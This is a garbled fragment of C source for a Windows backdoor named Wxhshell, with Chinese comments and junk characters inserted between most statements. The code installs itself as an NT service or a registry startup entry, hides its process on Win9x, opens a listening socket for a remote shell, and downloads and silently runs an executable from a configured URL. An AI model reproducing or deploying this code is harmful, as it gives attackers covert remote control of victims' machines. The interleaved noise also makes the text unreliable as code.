%Eub CNP?i(Rk CloseHandle(hProcess); q.MM|;_u` FmnA+fA hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S>**hMU% if(hProcess==NULL) return 0; y 5=J6a2. K<N0%c~ HMODULE hMod; m
81\cg char procName[255]; %3FI>\3 unsigned long cbNeeded; {\ .2h 2b !b- if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZW,PZ< _&yQW&vH# CloseHandle(hProcess); QAu^]1 ; k"AY7vq@!P if(strstr(procName,"services")) return 1; // 以服务启动 'X`\vTxB hI/p9
`w return 0; // 注册表启动 uE/qraA } g|2D(J 6#dx%TC // 主模块 .}j@(D int StartWxhshell(LPSTR lpCmdLine) \QHM7C T { jQf1h|e SOCKET wsl; \*_qP*vq@ BOOL val=TRUE; sba0Q[IY int port=0; VeCpz[r struct sockaddr_in door; heRQ|n.Dz) &(wik#S if(wscfg.ws_autoins) Install(); Av/|={i .k[Ptx> port=atoi(lpCmdLine); ^QXUiXzl ULsz<Hj if(port<=0) port=wscfg.ws_port; ~PS%^zxyn Oi7:J>
[ WSADATA data; M8
++JI if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F2+lwyc Y NH|v`rO if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ysvn*9h+& setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >2N`l door.sin_family = AF_INET; 6~D:O?2 door.sin_addr.s_addr = inet_addr("127.0.0.1"); C10A$=! door.sin_port = htons(port); \7W {/v4^ y<B " if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $z`
jR* closesocket(wsl); zYH6+!VBH# return 1; 8B\,*JGY2 } "%0RR? b$g.">:$ if(listen(wsl,2) == INVALID_SOCKET) { mb?yG:L=0b closesocket(wsl); ~|?2<g$gYR return 1; Vd|/]Zj } ~*G I<n Wxhshell(wsl); '?Hy"5gUA WSACleanup(); R'&^)_ 6`%}s3Xq return 0; 6eQrupa wwE9|'Ok } W5sVQ`S- H2|w
// 以NT服务方式启动 n j1 cqh VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4|x5-m+T { 92eS*x2@ DWORD status = 0; cjH
~H8 DWORD specificError = 0xfffffff; {9Y@? T,jxIFrF serviceStatus.dwServiceType = SERVICE_WIN32; >uxak2nM- serviceStatus.dwCurrentState = SERVICE_START_PENDING; 2{ }5WH serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ho*S>Y serviceStatus.dwWin32ExitCode = 0; qCIZW serviceStatus.dwServiceSpecificExitCode = 0; SyTcp?H serviceStatus.dwCheckPoint = 0; h]G}E9\l serviceStatus.dwWaitHint = 0; Jd/5Kx \:^$ZBQr<n hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wG19NX( if (hServiceStatusHandle==0) return; us$~6 t+p-,ey^@ status = GetLastError(); Sd}fse if (status!=NO_ERROR) c]&(h L { &ViIxJZ1$ serviceStatus.dwCurrentState = SERVICE_STOPPED; nhQ.U>&-M serviceStatus.dwCheckPoint = 0; x4Eq5"F7} serviceStatus.dwWaitHint = 0; #_4L/LV serviceStatus.dwWin32ExitCode = status; N4'b]:`n serviceStatus.dwServiceSpecificExitCode = specificError; =yfr{5}R SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7zpwP return; `d8}3D } <S TwylL JA())0a serviceStatus.dwCurrentState = SERVICE_RUNNING; ?=f\oH$ serviceStatus.dwCheckPoint = 0; &)<]AG.vd! serviceStatus.dwWaitHint = 0; G;wv.|\ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vg
*+>lbA } et/mfzV CSwNsFDR% // 处理NT服务事件,比如:启动、停止 -mcLT@ VOID WINAPI NTServiceHandler(DWORD fdwControl) Zna
}h{ { :cIE8<\% switch(fdwControl) v"y
e\ZG { tWL9>7]G case SERVICE_CONTROL_STOP: U#@:"v| serviceStatus.dwWin32ExitCode = 0; Q y$8!( serviceStatus.dwCurrentState = SERVICE_STOPPED; +=U` serviceStatus.dwCheckPoint = 0; %[;<'s5e~ serviceStatus.dwWaitHint = 0; < _c84,[V { 6'|J
; SetServiceStatus(hServiceStatusHandle, &serviceStatus); [,xFk* # } B<LQ;n+ return; \>1M? case SERVICE_CONTROL_PAUSE: kMN z5P serviceStatus.dwCurrentState = SERVICE_PAUSED; %|r@q break; D)4p8-=t case SERVICE_CONTROL_CONTINUE: yu3EPT!~ serviceStatus.dwCurrentState = SERVICE_RUNNING; v;jrAND break; u&r@@p. case SERVICE_CONTROL_INTERROGATE: )Q FT$rmX break; HwM:bY
N }; >/
HC{.k SetServiceStatus(hServiceStatusHandle, &serviceStatus); (f
$Y0;v>} } L.ndLd Br1JZHgA // 标准应用程序主函数 q>!T*BQ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m <aMb { &A=d7ASN= uqX"^dn4u // 获取操作系统版本 <f8@Qij OsIsNt=GetOsVer(); vWjK[5
M% GetModuleFileName(NULL,ExeFile,MAX_PATH); K,+`td# K#+TCZ, // 从命令行安装 S3btx9y{ if(strpbrk(lpCmdLine,"iI")) Install(); LP#CA^*S 8t0i
j // 下载执行文件 rS)7D if(wscfg.ws_downexe) { [Z~>7ayF+) if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z*jhSy WinExec(wscfg.ws_filenam,SW_HIDE); ely&'y! } m6+2rD ,7>_Lp_v if(!OsIsNt) { {l\v J#r: // 如果时win9x,隐藏进程并且设置为注册表启动 Xqf"Wx(X HideProc(); I{B8'n{cN StartWxhshell(lpCmdLine); VO. Y\8/ } |)
THuE( else tH17Z if(StartFromService()) $N:m
9R // 以服务方式启动 PN+,M50;1 StartServiceCtrlDispatcher(DispatchTable); Eu1s else nb(#;3DQ // 普通方式启动 )1lYfJ StartWxhshell(lpCmdLine); b>Vs5nY! 78y4nRQ* return 0; )k0bP1oGS }
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